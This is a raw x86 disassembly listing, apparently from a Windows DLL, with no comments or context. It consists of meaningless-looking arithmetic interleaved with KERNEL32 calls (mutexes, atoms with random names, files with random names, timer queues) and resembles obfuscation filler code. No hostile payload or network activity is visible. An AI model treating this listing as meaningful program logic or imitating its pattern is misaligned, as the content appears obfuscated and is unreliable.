mov edx, dword [ebp - 0x3c58]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100bb6b4], eax
lea eax, [ebp - 0x2f3]
mov dword [ebp - 0x4d88], eax
lea ecx, [ebp - 0x2f90]
mov dword [ebp - 0x4d8c], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3708], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100ba144], eax
push 0x100a8bf8
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb6b8], ax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x4d90], eax
mov dword [0x100bb6bc], 0x100bb31c
movsx edx, word [ebp - 0x1270]
movsx eax, word [ebp - 0xe74]
xor edx, eax
mov ecx, dword [ebp - 0x4034]
mov word [ecx], dx
mov edx, dword [0x100b9ee8]
sub edx, dword [0x100b7424]
mov dword [ebp - 0x2a84], edx
movsx eax, byte [ebp - 0x43]
movsx ecx, byte [ebp - 0x29a]
shl eax, cl
mov byte [0x100b821b], al
mov ecx, dword [ebp - 0x48c8]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x21]
or edx, eax
mov ecx, dword [ebp - 0x4564]
mov byte [ecx], dl
movzx edx, word [0x100badec]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1458], ax
mov eax, dword [0x100b9edc]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x163c]
add ecx, edx
mov eax, dword [ebp - 0x35ec]
mov word [eax], cx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x4d94], eax
lea ecx, [ebp - 0x1244]
mov dword [0x100bb6c0], ecx
mov edx, dword [0x100ba7e8]
mov eax, dword [edx]
mov dword [ebp - 0x4d98], eax
movsx ecx, word [ebp - 0x1338]
movsx edx, word [0x100b72c4]
and ecx, edx
mov eax, dword [ebp - 0x3914]
mov word [eax], cx
mov ecx, dword [ebp - 0x4d14]
mov edx, dword [0x100ba010]
mov eax, dword [ecx]
imul eax, dword [edx]
mov dword [0x100b7340], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bb6c4], eax
lea ecx, [ebp - 0x138]
mov dword [ebp - 0x4d9c], ecx
lea edx, [ebp - 0x9da8]
push edx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov al, byte [ebp - 0x2ee]
mov byte [0x100b8487], al
mov ecx, dword [0x100b9ff4]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea edx, [ebp - 0xb0c]
mov dword [ebp - 0x4da0], edx
mov eax, dword [ebp - 0x322c]
mov ecx, dword [0x100b730c]
sar eax, cl
mov dword [ebp - 0x4484], eax
mov ecx, dword [ebp - 0x37ac]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x2c7c]
shl edx, cl
mov eax, dword [0x100bb5fc]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3e88]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x5dc]
add edx, eax
mov ecx, dword [ebp - 0x39a4]
mov word [ecx], dx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x4da4], eax
movsx edx, byte [0x100b7166]
mov eax, dword [ebp - 0x4914]
movsx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0x14f], dl
push 0x100a8c00
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb684], ax
mov dword [0x100bb6c8], 0x100b71ff
movsx edx, byte [ebp - 0x78]
mov eax, dword [ebp - 0x4950]
movsx ecx, byte [eax]
or edx, ecx
mov byte [ebp - 0x2cb], dl
mov edx, dword [ebp - 0x3b58]
mov eax, dword [edx]
mov dword [ebp - 0x4da8], eax
mov ecx, dword [ebp - 0x47c0]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x4cc4]
movzx ecx, word [eax]
sar edx, cl
mov word [0x100ba38c], dx
lea ecx, [ebp - 0x788]
mov dword [ebp - 0x4dac], ecx
mov edx, dword [0x100bb468]
mov eax, dword [0x100bb2ec]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x4498]
mov dword [edx], ecx
movzx eax, byte [ebp - 0x268]
movzx ecx, byte [ebp - 0xfb]
add eax, ecx
mov byte [0x100b7216], al
mov edx, dword [ebp - 0x3690]
movsx eax, byte [edx]
movsx ecx, byte [0x100b80ee]
and eax, ecx
mov edx, dword [ebp - 0x3538]
mov byte [edx], al
mov eax, dword [ebp - 0x4d58]
mov ecx, dword [eax]
mov dword [ebp - 0x4db0], ecx
movzx edx, word [ebp - 0x10d4]
mov eax, dword [ebp - 0x4164]
movzx ecx, word [eax]
sub edx, ecx
mov word [0x100b7454], dx
lea edx, [ebp - 0x1180]
mov dword [ebp - 0x4db4], edx
mov eax, dword [ebp - 0x4cfc]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100bb6cc], eax
mov ecx, dword [ebp - 0x3b04]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x3610]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x1020], dx
mov ecx, dword [ebp - 0x3ca0]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x3620]
movzx ecx, byte [eax]
or edx, ecx
mov byte [0x100b824b], dl
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bb6d0], eax
lea edx, [ebp - 0x3a2c]
mov dword [ebp - 0x4db8], edx
mov eax, dword [0x100bad44]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x2dfc]
sar edx, cl
mov dword [ebp - 0x2b58], edx
mov al, byte [0x100b722b]
mov byte [0x100b8492], al
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x4dbc], eax
mov ecx, dword [ebp - 0x3650]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x10d4]
add edx, eax
mov word [ebp - 0x5f0], dx
mov ecx, dword [ebp - 0x3e58]
movsx edx, word [ecx]
movsx eax, word [0x100b9f14]
and edx, eax
mov word [ebp - 0x1638], dx
lea ecx, [ebp - 0xb41c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bb214], eax
movzx edx, word [ebp - 0x11ec]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bb6d4], ax
movsx eax, byte [ebp - 0xf7]
movsx ecx, byte [ebp - 0x298]
shl eax, cl
mov ecx, dword [0x100ba9a8]
mov byte [ecx], al
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b9a20], eax
mov edx, dword [0x100ba2c4]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x299]
xor eax, ecx
mov byte [ebp - 0x132], al
lea edx, [ebp - 0xb440]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100ba3a8], eax
mov dword [ebp - 0x4dc0], 0x100b7264
mov eax, dword [ebp - 0x3b78]
mov ecx, dword [eax]
mov dword [0x100bb6d8], ecx
lea edx, [ebp - 0x9cb8]
push edx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov al, byte [0x100b71d2]
mov byte [ebp - 0x304], al
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x4dc4], eax
mov ecx, dword [ebp - 0x4da0]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x13cc]
xor edx, eax
mov ecx, dword [ebp - 0x3678]
mov word [ecx], dx
lea edx, [ebp - 0x12e8]
mov dword [0x100bb6dc], edx
movzx eax, byte [ebp - 0x260]
mov ecx, dword [ebp - 0x4c44]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x4610]
mov byte [ecx], al
push 0x100bb6e0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea edx, [ebp - 0x2db0]
mov dword [ebp - 0x4dc8], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3c34], eax
movzx eax, word [0x100ba214]
mov ecx, dword [ebp - 0x3dc0]
movzx ecx, word [ecx]
sar eax, cl
mov edx, dword [0x100b9d1c]
mov word [edx], ax
mov eax, dword [ebp - 0x346c]
mov ecx, dword [eax]
or ecx, dword [0x100b72ac]
mov edx, dword [ebp - 0x3e74]
mov dword [edx], ecx
mov eax, dword [ebp - 0x35f4]
movsx ecx, byte [eax]
mov edx, dword [0x100bb524]
movsx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0xb], cl
movsx ecx, word [ebp - 0x838]
movsx edx, word [ebp - 0x5a0]
xor ecx, edx
mov word [0x100b7214], cx
movzx eax, byte [ebp - 0x294]
movzx ecx, byte [ebp - 0x1de]
sub eax, ecx
mov byte [ebp - 0xfb], al
lea edx, [ebp - 0x32fc]
mov dword [ebp - 0x4dcc], edx
mov eax, dword [0x100b9f08]
movsx edx, byte [eax]
mov eax, dword [ebp - 0x38a4]
movsx ecx, byte [eax]
shl edx, cl
mov byte [0x100b72e2], dl
movzx ecx, word [0x100b7418]
mov edx, dword [ebp - 0x4bf0]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0xb90], cx
mov ecx, dword [ebp - 0x4da0]
movzx edx, word [ecx]
movzx ecx, word [0x100b7374]
sar edx, cl
mov word [ebp - 0xfa0], dx
mov eax, dword [0x100b9cc0]
mov ecx, dword [ebp - 0x2bf8]
and ecx, dword [eax]
mov dword [0x100b7458], ecx
push 0
lea edx, [ebp - 0x988c]
push edx
mov eax, dword [0x100bb70c]
push eax
mov ecx, dword [0x100bb708]
push ecx
mov edx, dword [0x100ba470]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x49c4], eax
movsx eax, word [ebp - 0x14ec]
mov ecx, dword [ebp - 0x3e20]
movsx edx, word [ecx]
or eax, edx
mov ecx, dword [ebp - 0x4aa8]
mov word [ecx], ax
mov edx, dword [ebp - 0x387c]
mov al, byte [edx]
mov byte [ebp - 0x305], al
push str.IF7K6
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb704], ax
mov ecx, dword [ebp - 0x4074]
mov edx, dword [ecx]
xor edx, dword [0x100b73c4]
mov dword [0x100ba3a0], edx
mov eax, dword [0x100bb638]
mov cl, byte [eax]
mov byte [ebp - 0x306], cl
movzx edx, word [ebp - 0xda8]
movzx eax, word [ebp - 0xf80]
add edx, eax
mov word [ebp - 0x1314], dx
movzx edx, word [ebp - 0x1464]
movzx ecx, word [ebp - 0x16ec]
shl edx, cl
mov word [0x100b731c], dx
lea eax, [ebp - 0x73]
mov dword [ebp - 0x4dd0], eax
lea ecx, [ebp - 0x2be8]
mov dword [0x100bb710], ecx
movsx edx, word [ebp - 0x670]
mov eax, dword [0x100ba450]
movsx ecx, word [eax]
and edx, ecx
mov word [ebp - 0x1658], dx
mov edx, dword [ebp - 0x405c]
movzx eax, byte [edx]
mov ecx, dword [0x100b9bec]
movzx ecx, byte [ecx]
sar eax, cl
mov byte [ebp - 0x67], al
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x4dd4], eax
lea edx, [ebp - 0x3d54]
mov dword [0x100bb714], edx
movzx eax, word [0x100b73dc]
mov ecx, dword [ebp - 0x4264]
movzx edx, word [ecx]
xor eax, edx
mov word [ebp - 0x10d4], ax
mov eax, dword [ebp - 0x355c]
mov ecx, dword [eax]
add ecx, dword [0x100b7318]
mov dword [ebp - 0x2b4c], ecx
mov edx, dword [0x100ba7f8]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [0x100ba084]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x1270]
or ecx, edx
mov eax, dword [0x100ba768]
mov word [eax], cx
push 0x21a6
push 0
lea ecx, [ebp - 0x493c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100bb718], eax
mov edx, dword [0x100babb8]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x4dd8], eax
mov eax, dword [ebp - 0x2b74]
and eax, dword [ebp - 0x3654]
mov ecx, dword [ebp - 0x3848]
mov dword [ecx], eax
movzx edx, byte [ebp - 0xf3]
movzx eax, byte [ebp - 0x1fd]
sub edx, eax
mov byte [ebp - 0x2b], dl
mov cl, byte [ebp - 0x2c2]
mov byte [0x100b8493], cl
lea edx, [ebp - 0x2a9]
mov dword [ebp - 0x4ddc], edx
lea eax, [ebp - 0x2b8c]
mov dword [ebp - 0x4de0], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x4de4], eax
mov ecx, dword [ebp - 0x3de4]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x3618]
movzx ecx, byte [eax]
shl edx, cl
mov ecx, dword [0x100b9b70]
mov byte [ecx], dl
push 0x100bb71c
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx edx, word [ebp - 0x56c]
movsx ecx, word [ebp - 0x784]
sar edx, cl
mov word [ebp - 0x1130], dx
movzx eax, word [0x100b72dc]
mov ecx, dword [ebp - 0x42a0]
movzx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0x3868]
mov word [ecx], ax
mov edx, dword [0x100b96e4]
mov eax, dword [edx]
mov dword [0x100bb740], eax
mov ecx, dword [ebp - 0x42f0]
mov dl, byte [ecx]
mov byte [ebp - 0x307], dl
mov eax, dword [ebp - 0x40f8]
mov ecx, dword [0x100ba888]
and ecx, dword [eax]
mov dword [ebp - 0x4bf8], ecx
movzx edx, byte [ebp - 0x26f]
mov eax, dword [ebp - 0x4a28]
movzx ecx, byte [eax]
xor edx, ecx
mov eax, dword [0x100b9740]
mov byte [eax], dl
lea ecx, [ebp - 0x9f70]
push ecx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov dx, word [ebp - 0x1150]
mov word [ebp - 0x1784], dx
push 0
push 0x100ba9d0
mov eax, dword [0x100bb74c]
push eax
mov ecx, dword [0x100bb748]
push ecx
mov edx, dword [0x100bac4c]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x3370], eax
lea eax, [ebp - 0x1298]
mov dword [ebp - 0x4de8], eax
movsx ecx, byte [ebp - 0x2a9]
mov edx, dword [ebp - 0x4940]
movsx eax, byte [edx]
or ecx, eax
mov edx, dword [0x100ba64c]
mov byte [edx], cl
push 0
push 0x20
push 5
push 0
push 4
push 0xc0000000
push str.1lb7UXMmWS3v9fkqRN
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x4dec], eax
mov eax, dword [0x100bb2f4]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x1324]
xor ecx, edx
mov eax, dword [ebp - 0x3570]
mov word [eax], cx
mov dword [ebp - 0x4df0], 0x100b7434
push 1
push 0x100b9750
mov ecx, dword [ebp - 0x98c8]
push ecx
mov edx, dword [ebp - 0x98cc]
push edx
mov eax, dword [0x100babe4]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x4df4], eax
mov ecx, dword [ebp - 0x48c4]
mov edx, dword [ebp - 0x2c6c]
mov ecx, dword [ecx]
shl edx, cl
mov dword [0x100b745c], edx
movzx eax, byte [ebp - 0x63]
mov ecx, dword [0x100bb200]
movzx ecx, byte [ecx]
sar eax, cl
mov edx, dword [ebp - 0x4028]
mov byte [edx], al
push 0xf79
mov eax, dword [0x100bad4c]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x4df8], eax
movzx ecx, word [ebp - 0x1434]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bb744], ax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100baf64], eax
mov edx, dword [ebp - 0x3e20]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x1160]
add eax, ecx
mov edx, dword [ebp - 0x47d0]
mov word [edx], ax
push 0x133c
push 0xc46
push 0x2b0a
push 0x13f3
mov eax, dword [ebp - 0x38f8]
push eax
call dword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [0x100bb750], eax
mov ecx, dword [ebp - 0x3b10]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x267]
and edx, eax
mov byte [0x100b82bf], dl
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x4dfc], eax
mov ecx, dword [ebp - 0x4110]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx edx, word [ebp - 0x1228]
mov eax, dword [0x100ba750]
movzx ecx, word [eax]
imul edx, ecx
mov word [ebp - 0x10e0], dx
mov edx, dword [ebp - 0x3bd4]
mov eax, dword [edx]
mov dword [ebp - 0x4e00], eax
mov dword [0x100bb754], 0x100b725c
movzx ecx, byte [ebp - 0xa7]
mov edx, dword [0x100ba380]
movzx eax, byte [edx]
xor ecx, eax
mov byte [ebp - 0x95], cl
movzx ecx, word [0x100badac]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bb758], ax
lea edx, [ebp - 0xa018]
push edx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, dword [0x100b959c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x4254]
movsx eax, byte [edx]
xor ecx, eax
mov byte [ebp - 0x1b3], cl
movsx ecx, word [ebp - 0xed0]
mov edx, dword [0x100bb5ec]
movsx eax, word [edx]
add ecx, eax
mov word [0x100b94f4], cx
movzx ecx, word [ebp - 0x1780]
movzx edx, word [0x100ba640]
sub ecx, edx
mov word [ebp - 0x760], cx
push str.X4DEPjDEKbJ
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb75c], ax
mov eax, dword [ebp - 0x3f44]
mov ecx, dword [0x100ba0ec]
mov edx, dword [eax]
or edx, dword [ecx]
mov dword [ebp - 0x4a40], edx
movsx eax, byte [ebp - 0x161]
mov ecx, dword [ebp - 0x4af4]
movsx ecx, byte [ecx]
shl eax, cl
mov byte [0x100b72e3], al
lea edx, [ebp - 0xa018]
push edx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov dword [ebp - 0x4e04], 0x100b712e
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100ba67c], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x4e08], eax
mov eax, dword [ebp - 0x49b8]
mov ecx, dword [ebp - 0x36bc]
mov edx, dword [eax]
mov ecx, dword [ecx]
shr edx, cl
mov eax, dword [ebp - 0x437c]
mov dword [eax], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x454c], eax
mov ecx, dword [ebp - 0x3650]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x15b0]
and edx, eax
mov word [0x100ba874], dx
mov cx, word [ebp - 0x56c]
mov word [ebp - 0x1788], cx
mov edx, dword [ebp - 0x461c]
mov eax, dword [edx]
xor eax, dword [ebp - 0x3790]
mov ecx, dword [ebp - 0x4d58]
mov dword [ecx], eax
mov dword [0x100bb760], 0x100b7e02
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bb764], eax
mov edx, dword [ebp - 0x49fc]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x3704]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x64], al
mov dword [ebp - 0x4e0c], 0x100ba634
mov eax, dword [ebp - 0x4b70]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x4c20]
movzx eax, word [edx]
and ecx, eax
mov word [0x100bae30], cx
push 0
push 0x100
push 5
push 0
push 4
push 0xc0000000
push str.99D8yCJjb
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x4e10], eax
mov edx, dword [ebp - 0x3804]
mov ecx, dword [ebp - 0x31f0]
shr edx, cl
mov dword [ebp - 0x4084], edx
movsx eax, word [ebp - 0xed8]
mov ecx, dword [0x100bb2e8]
movsx ecx, word [ecx]
shl eax, cl
mov edx, dword [ebp - 0x3c70]
mov word [edx], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100ba518], eax
mov dword [0x100bb768], 0x100b72f4
movsx eax, byte [ebp - 0x2ef]
mov ecx, dword [ebp - 0x3e98]
movsx edx, byte [ecx]
or eax, edx
mov byte [ebp - 0x13b], al
push 0x100b9a84
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, byte [ebp - 0x263]
mov ecx, dword [0x100ba424]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [0x100bad10]
mov byte [ecx], al
push 0
push 0x200
push 3
push 0
push 2
push 0xc0000000
push str.qxCfyAmxORY5TiglOEkhSjW
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x4e14], eax
mov edx, dword [ebp - 0x3e30]
mov ax, word [edx]
mov word [ebp - 0x178c], ax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100bb76c], eax
mov ecx, dword [ebp - 0x3900]
mov edx, dword [ebp - 0x3170]
and edx, dword [ecx]
mov dword [ebp - 0x317c], edx
movzx eax, word [ebp - 0x1274]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba774], ax
mov ecx, dword [0x100b9f20]
mov dword [0x100bb770], ecx
mov edx, dword [ebp - 0x39ac]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x4acc]
movsx ecx, word [ecx]
sar eax, cl
mov edx, dword [ebp - 0x3b0c]
mov word [edx], ax
mov dword [ebp - 0x4e18], 0x100b7256
push 0
push 0x40
push 5
push 0
push 2
push 0xc0000000
push str.4IQnYMBkeQySrq
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x4e1c], eax
mov eax, dword [0x100ba8a0]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x3e]
sub ecx, edx
mov byte [0x100b72e6], cl
lea eax, [ebp - 0x18c]
mov dword [ebp - 0x4e20], eax
mov ecx, dword [0x100bb69c]
mov edx, dword [ebp - 0x48f8]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x4530], eax
mov ecx, dword [ebp - 0x4da0]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x1558]
or edx, eax
mov word [0x100b73b8], dx
movsx ecx, word [ebp - 0x1374]
mov edx, dword [ebp - 0x4d04]
movsx eax, word [edx]
add ecx, eax
mov word [ebp - 0x5c4], cx
mov ecx, dword [0x100b720c]
mov dword [ebp - 0x4e24], ecx
mov dword [0x100bb774], 0x100b7227
movsx edx, byte [ebp - 0x1b3]
movsx eax, byte [ebp - 0x1c9]
and edx, eax
mov byte [ebp - 0x10c], dl
mov dword [ebp - 0x4e28], 0x100ba6c8
mov ecx, dword [ebp - 0x3bc0]
movzx edx, word [ecx]
mov eax, dword [0x100bac14]
movzx ecx, word [eax]
imul edx, ecx
mov eax, dword [0x100b9688]
mov word [eax], dx
mov ecx, dword [ebp - 0x4324]
movsx edx, word [ecx]
mov eax, dword [0x100b9d64]
movsx ecx, word [eax]
sar edx, cl
mov ecx, dword [ebp - 0x34ac]
mov word [ecx], dx
mov edx, dword [ebp - 0x36c8]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xb0c]
xor eax, ecx
mov word [ebp - 0x550], ax
movzx edx, byte [ebp - 0x14e]
mov eax, dword [0x100b9598]
movzx ecx, byte [eax]
xor edx, ecx
mov byte [0x100b8082], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bb778], eax
mov edx, dword [0x100ba7f4]
mov eax, dword [edx]
mov dword [ebp - 0x4e2c], eax
mov edx, dword [ebp - 0x2e2c]
mov ecx, dword [ebp - 0x2b8c]
shl edx, cl
mov eax, dword [ebp - 0x43a0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x34d0]
mov dl, byte [ecx]
mov byte [0x100b84ce], dl
mov dword [ebp - 0x4e30], 0x100b73a8
movsx eax, word [ebp - 0x1338]
mov ecx, dword [ebp - 0x4034]
movsx edx, word [ecx]
add eax, edx
mov word [ebp - 0x16e4], ax
movsx eax, byte [0x100b821a]
movsx ecx, byte [ebp - 0x129]
and eax, ecx
mov byte [0x100b72e7], al
movzx edx, byte [ebp - 4]
movzx eax, byte [ebp - 0x155]
or edx, eax
mov byte [ebp - 0x17d], dl
mov ecx, dword [ebp - 0x3a2c]
imul ecx, dword [ebp - 0x4774]
mov edx, dword [ebp - 0x38cc]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4350]
mov ecx, dword [ebp - 0x4aac]
mov edx, dword [eax]
mov ecx, dword [ecx]
sar edx, cl
mov eax, dword [0x100baf80]
mov dword [eax], edx
mov ecx, dword [0x100bae18]
movsx edx, byte [ecx]
mov eax, dword [0x100ba5e4]
movsx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 0x2eb], dl
movzx edx, word [ebp - 0x1724]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1790], ax
mov eax, dword [ebp - 0x3ae8]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xe6c]
add ecx, edx
mov word [ebp - 0x878], cx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100ba8ac], eax
push str.Me7QQ6J3BhOaWIt_NzH1HIO
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb77c], ax
movsx eax, word [ebp - 0x4b8]
movsx ecx, word [0x100bad48]
and eax, ecx
mov word [0x100b71fc], ax
mov dl, byte [ebp - 0x277]
mov byte [ebp - 0x308], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x4538], eax
push str.Xog.Visu10
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100babe0], ax
mov eax, dword [ebp - 0x48dc]
mov ecx, dword [ebp - 0x4710]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x3d0c]
mov dword [eax], edx
lea ecx, [ebp - 0xfb0]
mov dword [0x100bb780], ecx
mov edx, dword [ebp - 0x416c]
mov eax, dword [ebp - 0x463c]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0x389c]
mov dword [eax], edx
mov cl, byte [ebp - 0x2d7]
mov byte [ebp - 0x309], cl
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3864], eax
mov edx, dword [ebp - 0x4c38]
mov ax, word [edx]
mov word [0x100bb784], ax
movzx ecx, byte [ebp - 0xed]
movzx edx, byte [ebp - 3]
or ecx, edx
mov byte [ebp - 0x55], cl
mov eax, dword [ebp - 0x4d48]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x308c]
sar edx, cl
mov dword [ebp - 0x4a40], edx
mov eax, dword [ebp - 0x4cf8]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x1f6]
add ecx, edx
mov eax, dword [0x100bb30c]
mov byte [eax], cl
lea ecx, [ebp - 0x550]
mov dword [ebp - 0x4e34], ecx
mov edx, dword [ebp - 0x4524]
movzx eax, word [edx]
movzx ecx, word [0x100ba640]
and eax, ecx
mov word [ebp - 0x5b0], ax
mov edx, dword [ebp - 0x346c]
mov eax, dword [0x100bb650]
xor eax, dword [edx]
mov ecx, dword [0x100ba238]
mov dword [ecx], eax
movsx edx, word [ebp - 0x14ec]
movsx ecx, word [0x100b95ec]
shl edx, cl
mov eax, dword [ebp - 0x38f0]
mov word [eax], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bb788], eax
mov ecx, dword [ebp - 0x3974]
mov dl, byte [ecx]
mov byte [ebp - 0x30a], dl
mov eax, dword [0x100b7278]
mov dword [0x100bb78c], eax
mov ecx, dword [ebp - 0x4420]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x2eb]
xor edx, eax
mov byte [ebp - 0x13e], dl
movzx ecx, word [ebp - 0x1684]
mov edx, dword [ebp - 0x3918]
movzx eax, word [edx]
xor ecx, eax
mov word [ebp - 0x11f8], cx
mov ecx, dword [0x100b9cc8]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x1480]
add edx, eax
mov word [0x100ba640], dx
mov ecx, dword [ebp - 0x3d38]
movsx edx, byte [ecx]
mov eax, dword [0x100ba538]
movsx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x44b8]
mov byte [ecx], dl
lea edx, [ebp - 0x2f98]
mov dword [0x100bb790], edx
lea eax, [ebp - 0x62c]
mov dword [ebp - 0x4e38], eax
mov ecx, dword [ebp - 0x4a54]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x2a]
or edx, eax
mov ecx, dword [ebp - 0x47fc]
mov byte [ecx], dl
push 0
push 0x80
push 5
push 0
push 2
push 0x40000000
push str.UTaPdlEy_rV1lBkKBmAvuE
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x4e3c], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bb794], eax
mov edx, dword [ebp - 0x3e2c]
mov eax, dword [edx]
and eax, dword [ebp - 0x2de0]
mov dword [0x100ba728], eax
mov dword [ebp - 0x4e40], 0x100b73dc
